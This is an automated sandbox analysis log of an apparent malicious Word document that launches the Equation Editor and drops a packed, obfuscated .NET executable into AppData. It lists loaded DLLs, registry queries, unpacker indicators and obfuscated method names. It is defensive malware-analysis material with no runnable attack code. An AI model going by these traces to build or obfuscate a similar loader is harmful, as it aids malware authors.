Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: na.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\na.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation

.NET source code contains potential unpacker

Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	.Net Code: vUYaIWbHfr System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.300000.0.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.3190770.4.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	.Net Code: vUYaIWbHfr System.Reflection.Assembly.Load(byte[])
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	.Net Code: vUYaIWbHfr System.Reflection.Assembly.Load(byte[])

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00598F58 push eax; retf	2_2_00598F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A5D52 push edx; ret	2_2_005A5D53
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A7750 push edx; ret	2_2_005A7753
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A7748 push edx; ret	2_2_005A774B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A7616 push edx; ret	2_2_005A7617
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A6830 push ebx; ret	2_2_005A6833
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A6B2E push edx; ret	2_2_005A6B2F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A5AFC push edx; ret	2_2_005A5AFF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005901F4 push eax; retf	2_2_005901F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A5DF4 push edx; ret	2_2_005A5E33
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0058F8EB push ss; ret	2_2_0058F8ED
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A5D88 push edx; ret	2_2_005A5D9B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A578E push edx; ret	2_2_005A5AF7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A5DA0 push edx; ret	2_2_005A5DA3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005A5DA4 push edx; ret	2_2_005A5E33
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_001D214D push ebx; iretd	8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_001D217B push ebx; iretd	8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_001D21AD push ebx; iretd	8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_001D21FB push ebx; iretd	8_2_001D21EA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_003F90F8 pushfd ; retn 0035h	8_2_003F90F9

Source: CLLPdgxhnmwGf5Y[1].exe.2.dr	Static PE information: section name: .text entropy: 7.957335940199454
Source: cmnjgyugo61000.exe.2.dr	Static PE information: section name: .text entropy: 7.957335940199454

Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, LclYXFogjBwfmAAPnV.cs	High entropy of concatenated method names: 'F1USxpNMBk', 'Jq9SO9y0AI', 't4JSvRXhgg', 'oBkSWif2HT', 'iHHSGwohj9', 'XJISZXHsFA', 'v4iSfxuTiy', 'sV1Snog1Rw', 'qXFS6YAKTm', 'r6NSHUj712'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, e75oKkqSCgScEZvAKm.cs	High entropy of concatenated method names: 'hxJJjLalPT', 'FByJB4yH7Y', 'vR3J9kkTvg', 'FNUJG2L1m7', 'yFZJfOhvoH', 'ENsJnMdcAZ', 'LwHJH4vFPv', 'u49Jd1AC2F', 'rtJJxf1Hrj', 'rBGJlRf0lj'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, dShs4ezPBMDHRwLLMU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WNV1JYp7NV', 'MME1SIuBh4', 'hSJ1gtTjBG', 'KHx1rTHnPQ', 'XyA1AiRD0B', 'Cp911Hd8tG', 'q4t1bD3wha'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, BJ2pW3uOeIoHjaHKoP.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kkyKVVMycG', 'RJbKQwpAQK', 'rNgKzXogEW', 'kJkeXtGhCv', 'YaOe4P68UO', 'oSReKKikWd', 'yaAeeoi7g5', 'OjLDxh8QHv1PoSo30Wy'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, iiWnsRyLxDWh9ffbQG.cs	High entropy of concatenated method names: 'z8hfKWksO4174XoE8sb', 'sduBimkqWJRA6XIEp9P', 'w4FCAfnJQA', 'IRtC1073jI', 'b1UCb3FBgn', 'qMsIDGkRpvcCXPleWeA', 'uwsGkJk4ZyLlZrk9HjD'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, c28qukSTEIWu0Cb4yJ2.cs	High entropy of concatenated method names: 'BZG1UdQGTA', 'TAD1DmlK1J', 'ATX1IuMZnV', 'OlA1uhJUrh', 'tDu1MtCvk3', 'TQS1tlxBPu', 'aCZ1wFIENe', 'tko1jMeH3B', 'JQ61B70Ym6', 'CXp15ltPZx'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, q0jDvgXv2QdU043dgA.cs	High entropy of concatenated method names: 'QoVNMoiNsu', 'X2RNwuYw3H', 'l1F0ZMiLSZ', 'Igr0fk0f4l', 'GCm0nPhHlW', 'cGe06Nixsk', 'KuY0HxlcEe', 'C5r0ddYDV6', 'HdD0hjBh8L', 'M600xx7UEw'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, jnJIj2iDj4MGKBhUPO.cs	High entropy of concatenated method names: 'qbPcFlMHUe', 'iRdc0c2YWL', 'uIvcC9tL8A', 'JklCQmlGPa', 'CBMCzaZXev', 'IFBcXsTxUZ', 'WkWc41nwg3', 'bMbcK16Eno', 'vODce8b1FW', 'REocakpsGA'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, KQN7FiJmb5DebHwoE8.cs	High entropy of concatenated method names: 'y2k14Z0MHC', 'eVU1e0EsIj', 'Yv51aqwlAe', 'oHW1F2Gha7', 'og31YqxXW2', 'Mux1NXbvKJ', 'Ueh1CWNSRb', 'kUeAqbIZmD', 'sWaA8BpmNc', 'q1QAV89B81'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, vKe1BMSa6I25SnIIQFD.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lbEbvODlhh', 'BMnbWH07VF', 'cy6boxn43E', 'yfjbs6xUAR', 'EX4b70NDwN', 'ah2biYLMi2', 'S9Bbqh3eqi'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, yOXVwBPrFV5waJhhZk.cs	High entropy of concatenated method names: 'W6IcUrtJd4', 'jLIcDIqqlC', 'xAacIkvTaQ', 'Ps0cuqSHnK', 'RKLcMVI99n', 'btEcthLejQ', 'SoOcwtVC5i', 'FTxcjfKpYH', 'd26cBsOoUV', 'Yc3c5H98pY'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, BKdqCmVayTvkt8v6qJ.cs	High entropy of concatenated method names: 'Dispose', 'UQA4VWHPJU', 'BBbKGAgDsR', 'YiLEEBN755', 'Os04QiF3T9', 'l2m4zFWCkE', 'ProcessDialogKey', 'qWZKXwL9at', 'RwIK4B573C', 'zByKKeMcep'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, kPZwByDBcRi0ZY7Ors.cs	High entropy of concatenated method names: 'vAvCTD0w87', 'LjECUbwml7', 'aYSCIsmyQr', 'ua7Cuj4FVx', 'vQvCtZg9RE', 'gyeCwoUsip', 'BQtCBEjJCX', 'O81C5Q2bV8', 'NbOPTokMOJHeW5xHVJJ', 'oFiVxlkG8SwvnNbfwVS'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, BsieyFtZXxC0YkKZ1m.cs	High entropy of concatenated method names: 'a33ryE1GHD', 'VXPr2iRiR8', 'ToString', 'mX4rF0a1LX', 'CSgrYCKn6m', 'QPcr0Y5ffo', 'NKUrNZvCB3', 'BtNrCLRn3g', 'mxqrc7R6Re', 'VQsrPnRr90'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, W6lmCG9Nq4m7ubavG2.cs	High entropy of concatenated method names: 'fTyCmkEkhg', 'E8XCYrb04p', 'e2VCNeV3wT', 'kcYCc5Auhx', 'SGUCPgN2yL', 'T6ZN781iuH', 'hGPNi8gbsf', 'Rm7Nqg1QPA', 'fw5N8f1N4e', 'MtENVIUGma'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, e5cxfFeW2LybtdDGiN.cs	High entropy of concatenated method names: 'Wnr0u29UJq', 'dPF0td7v8v', 'GlK0j1jW4j', 'sJt0BB2Nup', 'y4L0SROAgF', 'MiT0gb1v6V', 'aGG0r1KZxe', 'ELU0AXCVDd', 'MaI01Tmi4F', 'mC80beGQRO'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, FpO6EurS5foft958ol.cs	High entropy of concatenated method names: 'EKyYvBmABP', 'KxtYWEjRWO', 'SlZYonVwpI', 'l9dYsNPKxr', 'lwJY7PujaT', 'Wk6YiBypLy', 'NM8YqrB9s4', 'pwVY81CPZc', 'yY8YVSPRtG', 'jetYQldbau'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, fmeKAfSSnKI2ClfROdS.cs	High entropy of concatenated method names: 'ToString', 'dL9bea7GXl', 'vkuba5KcRD', 'TbvbmRmO9E', 's5vbFp6nqP', 'wtfbY5An4h', 'V2jb0jV5Nm', 'tUVbNdSJlo', 'DSL4jdK3uMRfNS7Rphg', 'w2vnQOKdfogYxUpyxUB'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, zOLJmBCA1Teg7PiV1L.cs	High entropy of concatenated method names: 'NLnAFadnEg', 'SHCAYjqP9x', 'P8eA0M4mwA', 'ri8ANZyG1j', 'JUOACZTmeK', 'Ye6AcwdoTr', 'xTuAPXlbKb', 'pf5A3bfeVT', 'V0hAyemlds', 'q3oA2J1hj0'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, Xvr3YLNGwrNm4NZwvB.cs	High entropy of concatenated method names: 'UDQr8IS14h', 'SqorQSDk3E', 'JkUAXRyiNC', 'MxZA4OUEVm', 'XOkrlmYGdn', 'El8rORYZiY', 'zZwrLA8oTX', 'xKPrvvbgjm', 'nFJrW3Aw2s', 'HCuropyBI2'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	High entropy of concatenated method names: 'OvBemqwNU8', 'EoYeF4xmdo', 'uVReYFtpsC', 'WYPe0l4Jkg', 'wlleNxZbHk', 'sKxeC2RQiQ', 'o19ecKCXAa', 'igSePDPaDn', 'tbee3Dsww0', 'C9OeyJDbrf'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, AeDNYYHlu3VDqHZLHr.cs	High entropy of concatenated method names: 'WkiI3V4vJ', 'oBGuqejTZ', 'hhstBGGaT', 'Dd3wrQluM', 'QSsBVpXkL', 'f2r5x13Xl', 'RAYawt6wWaILic8Zur', 'RhQNS4WYJgUA7ognfS', 'IndAyxbvC', 'etSbJDeMJ'
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, ibXryOsUOOV6l7fNKm.cs	High entropy of concatenated method names: 'kaN4cqGN2t', 'vFd4PBWreL', 'RwE4yUHCUB', 'ImC42hW0kt', 'qCV4SmB4VN', 'fdK4gaKuCc', 'uOD5p9CVIqLqY6AjMY', 'BDEuXcaNisbudQFChG', 'M7m44tBOuL', 'vuf4eZbtxd'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, LclYXFogjBwfmAAPnV.cs	High entropy of concatenated method names: 'F1USxpNMBk', 'Jq9SO9y0AI', 't4JSvRXhgg', 'oBkSWif2HT', 'iHHSGwohj9', 'XJISZXHsFA', 'v4iSfxuTiy', 'sV1Snog1Rw', 'qXFS6YAKTm', 'r6NSHUj712'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, e75oKkqSCgScEZvAKm.cs	High entropy of concatenated method names: 'hxJJjLalPT', 'FByJB4yH7Y', 'vR3J9kkTvg', 'FNUJG2L1m7', 'yFZJfOhvoH', 'ENsJnMdcAZ', 'LwHJH4vFPv', 'u49Jd1AC2F', 'rtJJxf1Hrj', 'rBGJlRf0lj'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, dShs4ezPBMDHRwLLMU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WNV1JYp7NV', 'MME1SIuBh4', 'hSJ1gtTjBG', 'KHx1rTHnPQ', 'XyA1AiRD0B', 'Cp911Hd8tG', 'q4t1bD3wha'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, BJ2pW3uOeIoHjaHKoP.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kkyKVVMycG', 'RJbKQwpAQK', 'rNgKzXogEW', 'kJkeXtGhCv', 'YaOe4P68UO', 'oSReKKikWd', 'yaAeeoi7g5', 'OjLDxh8QHv1PoSo30Wy'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, iiWnsRyLxDWh9ffbQG.cs	High entropy of concatenated method names: 'z8hfKWksO4174XoE8sb', 'sduBimkqWJRA6XIEp9P', 'w4FCAfnJQA', 'IRtC1073jI', 'b1UCb3FBgn', 'qMsIDGkRpvcCXPleWeA', 'uwsGkJk4ZyLlZrk9HjD'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, c28qukSTEIWu0Cb4yJ2.cs	High entropy of concatenated method names: 'BZG1UdQGTA', 'TAD1DmlK1J', 'ATX1IuMZnV', 'OlA1uhJUrh', 'tDu1MtCvk3', 'TQS1tlxBPu', 'aCZ1wFIENe', 'tko1jMeH3B', 'JQ61B70Ym6', 'CXp15ltPZx'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, q0jDvgXv2QdU043dgA.cs	High entropy of concatenated method names: 'QoVNMoiNsu', 'X2RNwuYw3H', 'l1F0ZMiLSZ', 'Igr0fk0f4l', 'GCm0nPhHlW', 'cGe06Nixsk', 'KuY0HxlcEe', 'C5r0ddYDV6', 'HdD0hjBh8L', 'M600xx7UEw'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, jnJIj2iDj4MGKBhUPO.cs	High entropy of concatenated method names: 'qbPcFlMHUe', 'iRdc0c2YWL', 'uIvcC9tL8A', 'JklCQmlGPa', 'CBMCzaZXev', 'IFBcXsTxUZ', 'WkWc41nwg3', 'bMbcK16Eno', 'vODce8b1FW', 'REocakpsGA'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, KQN7FiJmb5DebHwoE8.cs	High entropy of concatenated method names: 'y2k14Z0MHC', 'eVU1e0EsIj', 'Yv51aqwlAe', 'oHW1F2Gha7', 'og31YqxXW2', 'Mux1NXbvKJ', 'Ueh1CWNSRb', 'kUeAqbIZmD', 'sWaA8BpmNc', 'q1QAV89B81'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, vKe1BMSa6I25SnIIQFD.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'lbEbvODlhh', 'BMnbWH07VF', 'cy6boxn43E', 'yfjbs6xUAR', 'EX4b70NDwN', 'ah2biYLMi2', 'S9Bbqh3eqi'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, yOXVwBPrFV5waJhhZk.cs	High entropy of concatenated method names: 'W6IcUrtJd4', 'jLIcDIqqlC', 'xAacIkvTaQ', 'Ps0cuqSHnK', 'RKLcMVI99n', 'btEcthLejQ', 'SoOcwtVC5i', 'FTxcjfKpYH', 'd26cBsOoUV', 'Yc3c5H98pY'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, BKdqCmVayTvkt8v6qJ.cs	High entropy of concatenated method names: 'Dispose', 'UQA4VWHPJU', 'BBbKGAgDsR', 'YiLEEBN755', 'Os04QiF3T9', 'l2m4zFWCkE', 'ProcessDialogKey', 'qWZKXwL9at', 'RwIK4B573C', 'zByKKeMcep'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, kPZwByDBcRi0ZY7Ors.cs	High entropy of concatenated method names: 'vAvCTD0w87', 'LjECUbwml7', 'aYSCIsmyQr', 'ua7Cuj4FVx', 'vQvCtZg9RE', 'gyeCwoUsip', 'BQtCBEjJCX', 'O81C5Q2bV8', 'NbOPTokMOJHeW5xHVJJ', 'oFiVxlkG8SwvnNbfwVS'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, BsieyFtZXxC0YkKZ1m.cs	High entropy of concatenated method names: 'a33ryE1GHD', 'VXPr2iRiR8', 'ToString', 'mX4rF0a1LX', 'CSgrYCKn6m', 'QPcr0Y5ffo', 'NKUrNZvCB3', 'BtNrCLRn3g', 'mxqrc7R6Re', 'VQsrPnRr90'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, W6lmCG9Nq4m7ubavG2.cs	High entropy of concatenated method names: 'fTyCmkEkhg', 'E8XCYrb04p', 'e2VCNeV3wT', 'kcYCc5Auhx', 'SGUCPgN2yL', 'T6ZN781iuH', 'hGPNi8gbsf', 'Rm7Nqg1QPA', 'fw5N8f1N4e', 'MtENVIUGma'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, e5cxfFeW2LybtdDGiN.cs	High entropy of concatenated method names: 'Wnr0u29UJq', 'dPF0td7v8v', 'GlK0j1jW4j', 'sJt0BB2Nup', 'y4L0SROAgF', 'MiT0gb1v6V', 'aGG0r1KZxe', 'ELU0AXCVDd', 'MaI01Tmi4F', 'mC80beGQRO'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, FpO6EurS5foft958ol.cs	High entropy of concatenated method names: 'EKyYvBmABP', 'KxtYWEjRWO', 'SlZYonVwpI', 'l9dYsNPKxr', 'lwJY7PujaT', 'Wk6YiBypLy', 'NM8YqrB9s4', 'pwVY81CPZc', 'yY8YVSPRtG', 'jetYQldbau'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, fmeKAfSSnKI2ClfROdS.cs	High entropy of concatenated method names: 'ToString', 'dL9bea7GXl', 'vkuba5KcRD', 'TbvbmRmO9E', 's5vbFp6nqP', 'wtfbY5An4h', 'V2jb0jV5Nm', 'tUVbNdSJlo', 'DSL4jdK3uMRfNS7Rphg', 'w2vnQOKdfogYxUpyxUB'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, zOLJmBCA1Teg7PiV1L.cs	High entropy of concatenated method names: 'NLnAFadnEg', 'SHCAYjqP9x', 'P8eA0M4mwA', 'ri8ANZyG1j', 'JUOACZTmeK', 'Ye6AcwdoTr', 'xTuAPXlbKb', 'pf5A3bfeVT', 'V0hAyemlds', 'q3oA2J1hj0'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, Xvr3YLNGwrNm4NZwvB.cs	High entropy of concatenated method names: 'UDQr8IS14h', 'SqorQSDk3E', 'JkUAXRyiNC', 'MxZA4OUEVm', 'XOkrlmYGdn', 'El8rORYZiY', 'zZwrLA8oTX', 'xKPrvvbgjm', 'nFJrW3Aw2s', 'HCuropyBI2'
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	High entropy of concatenated method names: 'OvBemqwNU8', 'EoYeF4xmdo', 'uVReYFtpsC', 'WYPe0l4Jkg', 'wlleNxZbHk', 'sKxeC2RQiQ', 'o19ecKCXAa', 'igSePDPaDn', 'tbee3Dsww0', 'C9OeyJDbrf'
